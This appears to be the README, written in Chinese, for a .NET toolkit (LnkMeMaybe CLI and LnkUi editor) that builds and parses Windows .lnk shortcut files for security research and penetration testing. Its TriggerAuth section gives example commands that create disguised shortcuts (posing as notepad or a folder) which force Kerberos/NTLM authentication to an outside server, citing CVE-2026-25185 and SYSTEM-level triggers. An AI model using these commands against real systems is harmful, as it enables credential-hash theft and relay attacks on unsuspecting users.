
Lnk crafting and research tools
一个用于创建和分析 Windows Shell Link(.lnk)文件的 .NET 8 工具包。包含命令行构建器(LnkMeMaybe)和图形化编辑器(LnkUi)。适用于安全研究和渗透测试。
| 项目 | 描述 |
|---|---|
Lnk/ | 核心库。根据 MS-SHLLINK 规范解析和生成 .lnk 二进制格式。LnkHandler 是主要入口点,由 ShellLinkHeader、LinkTargetIDList、LinkInfo、StringData 和 ExtraData 组成。 |
LnkMeMaybe/ | CLI 工具。用于生成各种 .lnk 文件的命令。使用 Titanis.Cli 框架。 |
LnkUi/ | Avalonia 11 MVVM 桌面编辑器。七个 ViewModel 包装了相应的 Lnk 库组件。可用于手动探索和检查 .lnk 文件。 |
LnkTests/ | MSTest 测试套件。真实的 .lnk 文件样本作为资源嵌入。涵盖 ShellLinkHeader 和 LinkInfo。 |
所有命令共享以下基础参数(来自 BaseSavedCommand):
TriggerAuth(CVE-2026-25185)创建一个触发向指定服务器发送 Kerberos(回退到 NTLM)身份验证的 .lnk 文件。该 .lnk 不会执行任何操作。
触发身份验证的场景:
.lnk 的共享位置 — 用户的账户将对外进行身份验证。.lnk 被放置在计算机配置为索引的位置 — SearchProtocolHost 以 SYSTEM 身份进行身份验证。MSSense.exe 以 SYSTEM 身份进行身份验证。参数:
示例:
# Send authentication to \\controlled.example.org\IPC$ while posing as notepad
LnkMeMaybe.exe TriggerAuth -F C:\Windows\notepad.exe -S \\controlled.example.org -DisplayName notepad.exe -I C:\Windows\notepad.exe -OutputPath notepad.lnk
# Send authentication to a specific share path while posing as a folder shortcut
LnkMeMaybe.exe TriggerAuth -F C:\Users\Public -S \\controlled.example.org\validshare\somefile.txt -DisplayName C:\Users\Public -I C:\Windows\system32\imageres.dll -IconIndex 3 -OutputPath Public.lnk
WebShortcut创建一个指向 Web URL 的 .lnk 文件。通常 Windows 会为 Web 快捷方式创建 .url 文件;此命令改为生成 .lnk 文件。
参数:
| 参数 | 必需 | 描述 |
|---|---|---|
--Url | 是 | 快捷方式应指向的 URL。必须是格式正确的绝对 URI。 |
示例:
LnkMeMaybe.exe WebShortcut -Url https://example.org -OutputPath example.lnk
LocalShortcut创建指向本地文件或文件夹的标准 Windows 快捷方式。目标路径存储为 shell 项 ID 列表(PIDL)— Windows 用于文件系统快捷方式的原生格式。
参数:
示例:
# Create a shortcut to Notepad
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\notepad.exe --OutputPath notepad.lnk
# Shortcut with arguments and a custom icon
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\notepad.exe --Arguments myfile.txt --WorkingDirectory C:\Users\Public --OutputPath notepad.lnk -I C:\Windows\notepad.exe
# Shortcut that opens maximised and requests elevation
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\System32\cmd.exe --ShowCommand Maximized --RunAsAdmin --OutputPath cmd_admin.lnk
EnvShortcut创建一个 .lnk 文件,其中目标路径存储为可扩展的环境变量字符串(EnvironmentVariableDataBlock)。这是 Windows 用于系统可执行文件快捷方式的格式(例如 %SystemRoot%\system32\notepad.exe)。变量在启动时展开,使快捷方式可跨 Windows 安装移植。
参数:
示例:
# Shortcut to Notepad using an environment variable path
LnkMeMaybe.exe EnvShortcut --TargetPath "%SystemRoot%\system32\notepad.exe" --OutputPath notepad.lnk
# Shortcut to a user-profile app with arguments
LnkMeMaybe.exe EnvShortcut --TargetPath "%LOCALAPPDATA%\MyApp\app.exe" --Arguments "--config default" --WorkingDirectory "%USERPROFILE%" --OutputPath myapp.lnk
# Build (debug)
dotnet build Lnk.sln
# Build (release, core projects only)
dotnet build -c Release build.slnf
# Run all tests
dotnet test
# Run a specific test class
dotnet test --filter "ClassName=lnkHeader"
# Publish self-contained single-file executable (Windows x64)
dotnet publish -c Release -r win-x64 -p:PublishSingleFile=true -p:DebugType=None --self-contained true --output LnkMeMaybeWindows LnkMeMaybe/LnkMeMaybe.csproj
适用于 Windows、Linux 和 macOS(x64 和 arm64)的预构建二进制文件可在发布页面获取。
每个版本都包含 LnkMeMaybe 和 LnkUi 的独立版(无需 .NET 运行时)和框架依赖版(需要 .NET 8 运行时)构建。
AI 系统被用于以下任务:
此仓库中的代码在其他方面均由人工创建和审查。
| 参数 | 别名 | 必需 | 描述 |
|---|
--OutputPath | 是 | 用于写入 .lnk 文件的文件系统路径。 | |
--Overwrite | 否 | 允许覆盖 OutputPath 处的现有文件。 | |
--DisplayName | 否 | 悬停快捷方式时显示的文本。支持 \n 换行。 | |
--IconPath / -I | -I | 否 | 用作快捷方式图标的 .exe 或 .dll 路径。必须存在于目标系统上。 |
--IconIndex | 否 | --IconPath 指定文件中的图标资源索引。默认值:0。 |
| 参数 | 别名 | 必需 | 描述 |
|---|
--FakePath / -F | -F | 是 | 在 .lnk 属性中显示为目标的路径。 |
--Server / -S | -S | 是 | 用于发送身份验证的服务器主机名、IP 或 UNC 路径。如果未指定共享,则附加 IPC$。 |
--Darwin | 否 | 存储在 .lnk 中的 Darwin 标识符。可以是任意值。默认值:unset。 |
| 参数 | 别名 | 必需 | 描述 |
|---|
--TargetPath | 是 | 目标文件或文件夹的绝对路径。 | |
--Arguments | 否 | 传递给目标的命令行参数。 | |
--WorkingDirectory | -W | 否 | 目标进程的工作目录。 |
--RunAsAdmin | 否 | 启动快捷方式时请求 UAC 提升。 | |
--ShowCommand | 否 | 启动时的窗口状态:Normal、Maximized 或 Minimized。 |
| 参数 | 别名 | 必需 | 描述 |
|---|
--TargetPath | 是 | 目标路径,可包含环境变量,如 %SystemRoot% 或 %USERPROFILE%。 | |
--Arguments | 否 | 传递给目标的命令行参数。 | |
--WorkingDirectory | -W | 否 | 目标进程的工作目录。 |
--RunAsAdmin | 否 | 启动快捷方式时请求 UAC 提升。 | |
--ShowCommand | 否 | 启动时的窗口状态:Normal、Maximized 或 Minimized。 |